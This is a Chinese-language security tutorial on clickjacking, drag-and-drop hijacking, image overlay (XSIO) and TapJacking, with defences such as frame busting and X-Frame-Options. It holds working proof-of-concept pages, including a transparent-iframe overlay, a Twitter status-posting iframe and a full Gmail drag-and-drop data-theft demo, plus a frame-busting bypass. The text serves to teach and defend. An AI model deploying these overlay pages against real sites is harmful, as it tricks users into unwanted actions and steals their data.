点击劫持(ClickJacking)

2008年,安全专家Robert Hansen与Jeremiah Grossman发现了一种被他们称为“ClickJacking”(点击劫持)的攻击,这种攻击方式影响了几乎所有的桌面平台,包括IE、Safari、Firefox、Opera以及Adobe Flash。两位发现者准备在当年的OWASP安全大会上公布并进行演示,但包括Adobe在内的所有厂商,都要求在漏洞修补前不要公开此问题。

什么是点击劫持

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

点击劫持原理示意图

看下面这个例子。

在http://www.a.com/test.html页面中插入了一个指向目标网站的iframe,出于演示的目的,我们让这个iframe变成半透明:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
<!DOCTYPE html> <html> <head> <title>CLICK JACK!!!</title> <style> iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style> </head> <body> <iframe src="http://www.qidian.com" scrolling="no"></iframe> <button>CLICK HERE!</button> </body> </html>

在这个test.html中有一个button,如果iframe完全透明时,那么用户看到的是:

用户看到的按钮

当iframe半透明时,可以看到,在button上面其实覆盖了另一个网页:

实际的页面,按钮上隐藏了一个iframe窗口

覆盖的网页其实是一个搜索按钮:

隐藏的iframe窗口的内容

当用户试图点击test.html里的button时,实际上却会点击到iframe页面中的搜索按钮。

分析其代码,起到关键作用的是下面这几行:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5); }

通过控制iframe的长、宽,以及调整top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置opacity来控制iframe页面的透明程度,值为0是完全不可见。

这样,就完成了一次点击劫持的攻击。

点击劫持攻击与CSRF攻击(详见“跨站点请求伪造”一章)有异曲同工之妙,都是在用户不知情的情况下诱使用户完成一些动作。但是在CSRF攻击的过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。与之相反的是,点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。

twitter也曾经遭受过“点击劫持攻击”。安全研究者演示了一个在别人不知情的情况下发送一条twitter消息的POC,其代码与上例中类似,但是POC中的iframe地址指向了:

1 2 3 4 5 6 7
<iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>

在twitter的URL里通过status参数来控制要发送的内容。攻击者调整页面,使得Tweet按钮被点击劫持。当用户在测试页面点击一个可见的button时,实际上却在不经意间发送了一条微博。

Flash点击劫持

下面来看一个更为严重的ClickJacking攻击案例。攻击者通过Flash构造出了点击劫持,在完成一系列复杂的动作后,最终控制了用户电脑的摄像头。

目前Adobe公司已经在Flash中修补了此漏洞。攻击过程如下:

首先,攻击者制作了一个Flash游戏,并诱使用户来玩这个游戏。这个游戏就是让用户去点击“CLICK”按钮,每次点击后这个按钮的位置都会发生变化。

演示点击劫持的Flash游戏

在其上隐藏了一个看不见的iframe:

Flash上隐藏的iframe窗口

游戏中的某些点击是有意义的,某些点击是无效的。攻击通过诱导用户鼠标点击的位置,能够完成一些较为复杂的流程。

某些点击是无意义的

某些点击是无意义的

最终通过这一步步的操作,打开了用户的摄像头。

通过点击劫持打开了摄像头

图片覆盖攻击

点击劫持的本质是一种视觉欺骗。顺着这个思路,还有一些攻击方法也可以起到类似的作用,比如图片覆盖。

一名叫sven.vetsch的安全研究者最先提出了这种Cross Site Image Overlaying攻击,简称XSIO。sven.vetsch通过调整图片的style使得图片能够覆盖在他所指定的任意位置。

1 2 3 4 5 6 7 8 9
<a href="http://disenchant.ch"> <img src=http://disenchant.ch/powered.jpg style=position:absolute;right:320px;top:90 px;/> </a>

如下所示,覆盖前的页面是:

覆盖前的页面

覆盖后的页面变成:

覆盖后的页面

页面里的logo图片被覆盖了,并指向了sven.vetsch的网站。如果用户此时再去点击logo图片,则会被链接到sven.vetsch的网站。如果这是一个钓鱼网站的话,用户很可能会上当。

XSIO不同于XSS,它利用的是图片的style,或者能够控制CSS。如果应用没有限制style的po-sition为absolute的话,图片就可以覆盖到页面上的任意位置,形成点击劫持。

百度空间也曾经出现过这个问题,构造代码如下:

 1  2  3  4  5  6  7  8  9 10 11
</table><a href="http://www.ph4nt0m.org"> <img src="http://img.baidu.com/hi/img/ portraitn.jpg" style="position:absolute;left:123px;top:123px ;"> </a>

一张头像图片被覆盖到logo处:一张头像图片被覆盖到Logo处

点击此图片的话,会被链接到其他网站。

图片还可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思,在这种情况下,不需要用户点击,也能达到欺骗的目的。

比如,利用XSIO修改页面中的联系电话,可能会导致很多用户上当。

由于<img>标签在很多系统中是对用户开放的,因此在现实中有非常多的站点存在被XSIO攻击的可能。在防御XSIO时,需要检查用户提交的HTML代码中,<img>标签的style属性是否可能导致浮出。

拖拽劫持与数据窃取

2010年,ClickJacking技术有了新的发展。一位名叫Paul Stone的安全研究者在BlackHat 2010大会上发表了题为“Next Generation Clickjack-ing”的演讲。在该演讲中,提出了“浏览器拖拽事件”导致的一些安全问题。

目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说,拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略限制的。“拖拽劫持”的思路是诱使用户从隐藏的不可见iframe中“拖拽”出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。

在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统Click-Jacking一些先天的局限,所以这种新型的“拖拽劫持”能够造成更大的破坏。

国内的安全研究者xisigr曾经构造了一个针对Gmail的POC,其过程大致如下。

首先,制作一个网页小游戏,要把小球拖拽到小海豹的头顶上。

演示拖拽劫持的网页小游戏

实际上,在小球和小海豹的头顶上都有隐藏的iframe。

在这个例子中,xisigr使用event.dataTrans-fer.getData('Text')来获取“drag”到的数据。当用户拖拽小球时,实际上是选中了隐藏的iframe里的数据;在放下小球时,把数据也放在了隐藏的textarea中,从而完成一次数据窃取的过程。

原理示意图

这个例子的源代码如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331
<html> <head> <title> Gmail Clickjacking with drag and drop Attack Demo </title> <style> .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; margin-top:350px;} </style> <script> function Init() { var source = document.getElementById("source"); var target = document.getElementById("target"); if (source.addEventListener) { target.addEventListener("drop", DumpInfo, false); } else { target.attachEvent("ondrop", DumpInfo); } } function DumpInfo(event) { showHide_ball.call(this); showHide_ball_1.call(this); var info = document.getElementById("info"); info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</ span><br> "; } function showHide_frame() { var iframe_1 = document.getElementById("iframe_1"); iframe_1.style.opacity = this.checked ? "0.5": "0"; iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opac ity=" + (this.checked ? "50": "0") + ");" } function showHide_text() { var text_1 = document.getElementById("target"); text_1.style.opacity = this.checked ? "0.5": "0"; text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opac ity=" + (this.checked ? "50": "0") + ");" } function showHide_ball() { var hide_ball = document.getElementById("hide_ball"); hide_ball.style.opacity = "0"; hide_ball.style.filter = "alpha(opacity=0)"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById("hide_ball_1"); hide_ball_1.style.opacity = "1"; hide_ball_1.style.filter = "alpha(opacity=100)"; } function reload_text() { document.getElementById("target").value = ''; } </script> </head> <body onload="Init();"> <center> <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id="hide_ball" src=ball.png class="ball"> <div id="source"> <iframe id="iframe_1" src="https://mail.google.com/mail/ig/mailmax" class="iframe_hidden" scrolling="no"> </iframe> </div> <img src=Dolphin.jpg class="Dolphin"> <div> <img id="hide_ball_1" src=ball.png class="ball_1"> </div> <div> <textarea id="target" class="text_area_hidden"> </textarea> </div> <div id="info" style="position:absolute;background- color:#e0e0e0;font-weight:bold; top:600px;"> </div> <center> Note: Clicking "ctrl + a" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class="center"> <center> <center> <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);" /> <label for="showHide_frame"> Show the jacked I--Frame </label> | <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" /> <label for="showHide_text"> Show the jacked Textarea </label> | <input type=button value="Replay" onclick="location.reload();reload_text();"> </center> <br><br> <b> Design by <a target="_blank" href="http://hi.baidu.com/xisigr"> xisigr </a> </b> </center> </div> </body> </html>

这是一个非常精彩的案例。

ClickJacking 3.0:触屏劫持

到了2010年9月,智能手机上的“触屏劫持”攻击被斯坦福的安全研究者公布,这意味着ClickJacking的攻击方式更进一步。安全研究者将这种触屏劫持称为TapJacking。

以苹果公司的iPhone为代表,智能手机为人们提供了更先进的操控方式:触屏。从手机OS的角度来看,触屏实际上就是一个事件,手机OS捕捉这些事件,并执行相应的动作。

比如一次触屏操作,可能会对应以下几个事件:

1 2 3 4 5 6 7
touchstart,手指触摸屏幕时发生; touchend,手指离开屏幕时发生; touchmove,手指滑动时发生; touchcancel,系统可取消touch事件。

通过将一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。

触屏劫持原理示电图

而手机上的屏幕范围有限,手机浏览器为了节约空间,甚至隐藏了地址栏,因此手机上的视觉欺骗可能会变得更加容易实施。比如下面这个例子:

手机屏幕的视觉欺骗

左边的图片,最上方显示了浏览器地址栏,同时攻击者在页面中画出了一个假的地址栏;

中间的图片,真实的浏览器地址栏已经自动隐藏了,此时页面中只剩下假的地址栏;

右边的图片,是浏览器地址栏被正常隐藏的情况。

这种针对视觉效果的攻击可以被利用进行钓鱼和欺诈。

2010年12月,研究者发现在Android系统中实施TapJacking甚至可以修改系统的安全设置,并同时给出了演示。

在未来,随着移动设备中浏览器功能的丰富,也许我们会看到更多TapJacking的攻击方式。

防御ClickJacking

ClickJacking是一种视觉上的欺骗,那么如何防御它呢?针对传统的ClickJacking,一般是通过禁止跨域的iframe来防范。

frame busting

通常可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫frame busting。比如下面这段代码:

1 2 3 4 5
if ( top.location != location ) { top.location = self.location; }

常见的frame busting有以下这些方式:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&! (self.parent===self))&&(self.parent.frames.le ngth!=0)) top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location parent.location = self.location ; }

那么通过以下方式即可绕过上面的保护代码:

1 2 3 4 5 6 7
Attacker top frame: <iframe src="attacker2 .html"> Attacker sub-frame: <iframe src="http://www.victim.com">

此外,像HTML 5中iframe的sandbox属性、IE中iframe的security属性等,都可以限制iframe页面中的JavaScript脚本执行,从而可以使得frame busting失效。

斯坦福的Gustav Rydstedt等人总结了一篇关于“攻击frame busting”的paper:“Busting framebusting: a study of clickjacking vulnerabilities atpopular sites”,详细讲述了各种绕过framebusting的方法。

X-Frame-Options

因为frame busting存在被绕过的可能,所以我们需要寻找其他更好的解决方案。一个比较好的方案是使用一个HTTP头——X-Frame-Options。

X-Frame-Options可以说是为了解决Click-Jacking而生的,目前有以下浏览器开始支持X-Frame-Options: ?IE 8+ ?Opera 10.50+ ?Safari 4+ ?Chrome 4.1.249.1042+ ?Firefox 3.6.9 (or earlier with NoScript)

它有三个可选的值:

1 2 3 4 5
DENY SAMEORIGIN ALLOW-FROM origin

当值为DENY时,浏览器会拒绝当前页面加载任何frame页面;若值为SAMEORIGIN,则frame页面的地址只能为同源域名下的页面;若值为AL-LOW-FROM,则可以定义允许frame加载的页面地址。

除了X-Frame-Options之外,Firefox的“Content Security Policy”以及Firefox的No-Script扩展也能够有效防御ClickJacking,这些方案为我们提供了更多的选择。

小结

本章讲述了一种新客户端攻击方式:Click-Jacking。

ClickJacking相对于XSS与CSRF来说,因为需要诱使用户与页面产生交互行为,因此实施攻击的成本更高,在网络犯罪中比较少见。但Click-Jacking在未来仍然有可能被攻击者利用在钓鱼、欺诈和广告作弊等方面,不可不察。

浙ICP备11005866号-12